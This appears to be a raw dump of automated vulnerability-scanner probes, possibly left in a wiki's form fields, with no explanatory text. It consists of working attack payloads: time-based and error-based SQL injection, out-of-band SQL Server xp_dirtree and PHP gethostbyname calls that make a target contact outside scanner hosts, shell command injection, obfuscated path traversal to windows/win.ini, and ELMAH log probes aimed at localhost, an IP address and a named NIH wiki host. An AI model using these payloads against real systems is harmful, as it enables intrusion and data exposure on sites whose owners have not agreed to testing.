127.0.0.1/elmah.axd

3

+print(int)0xFFF9999-82586;//

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 57af8fd7-ed59-415b-ab97-4752d26ac3dc */

1')exec('xp_dirtree ''\\h_cszcnetxbullzr2idqobgaphbkw8tvmmjuzg27'+'vr8.r87.me'+'\c$\a''')--

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

3

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

'+gethostbyname(trim('h_cszcnetxhbjrp46cla3eac9q_-lckc1cmotls2'.'lou.r87.me'))+'

1';expr 268409241 - 92745;'

3

3

[::1]/elmah.axd

*/netsparker(0x096BD2);/*

1))exec('xp_dirtree ''\\h_cszcnetxvla2girluyyk70p3ic1ymchd_wzzwk'+'hpc.r87.me'+'\c$\a''')--

'+print(int)0xFFF9999-2081+'

3

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 76303c35-120a-4bb9-9d2c-70071d9fd917 */

"+gethostbyname(trim('h_cszcnetxkdvtwyabvykmy7cajfh0fkpfddbeji'.'q5k.r87.me'))+"

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

1';expr 268409241 - 87787;'

3

1))exec('xp_dirtree ''\\h_cszcnetxsbh1ophnnws6kxnhh0gvlttd-mxihs'+'jci.r87.me'+'\c$\a''')--

3

https://www.imagwiki.nibib.nih.gov/elmah

'+netsparker(0x096BEA)+'

'+print(int)0xFFF9999-73135+'

"+gethostbyname(trim('h_cszcnetxnbba9vkottgxgb4azf8sobm__auphz'.'91s.r87.me'))+"

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 88ce4f1b-b73d-412d-9bd1-c859e21e836b */

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

3

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

1'))exec('xp_dirtree ''\\h_cszcnetxb8ip089cbc6981lwobvcxkppn4y6st'+'_4w.r87.me'+'\c$\a''')--

1;expr 268409241 - 41448;x

www.imagwiki.nibib.nih.gov/elmah

3

"+netsparker(0x096BEC)+"

<? gethostbyname(trim('h_cszcnetx0_uudjexdojbvmf6kptbb4eg8cx7iw'.'hyc.r87.me'));//?>

3

"+print(int)0xFFF9999-34004+"

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 9f4a00aa-8046-47a4-9f9a-9501b829b7b8 */

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

1'))exec('xp_dirtree ''\\h_cszcnetxtu97v83tixd3duhuqjsc6duluq_zg2'+'ho4.r87.me'+'\c$\a''')--

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

3

1;expr 268409241 - 95738;x

3

<? gethostbyname(trim('h_cszcnetxgzp4b1xi1ipnbrsna75lbr52pdebqo'.'ot0.r87.me'));//?>

54.243.205.65/elmah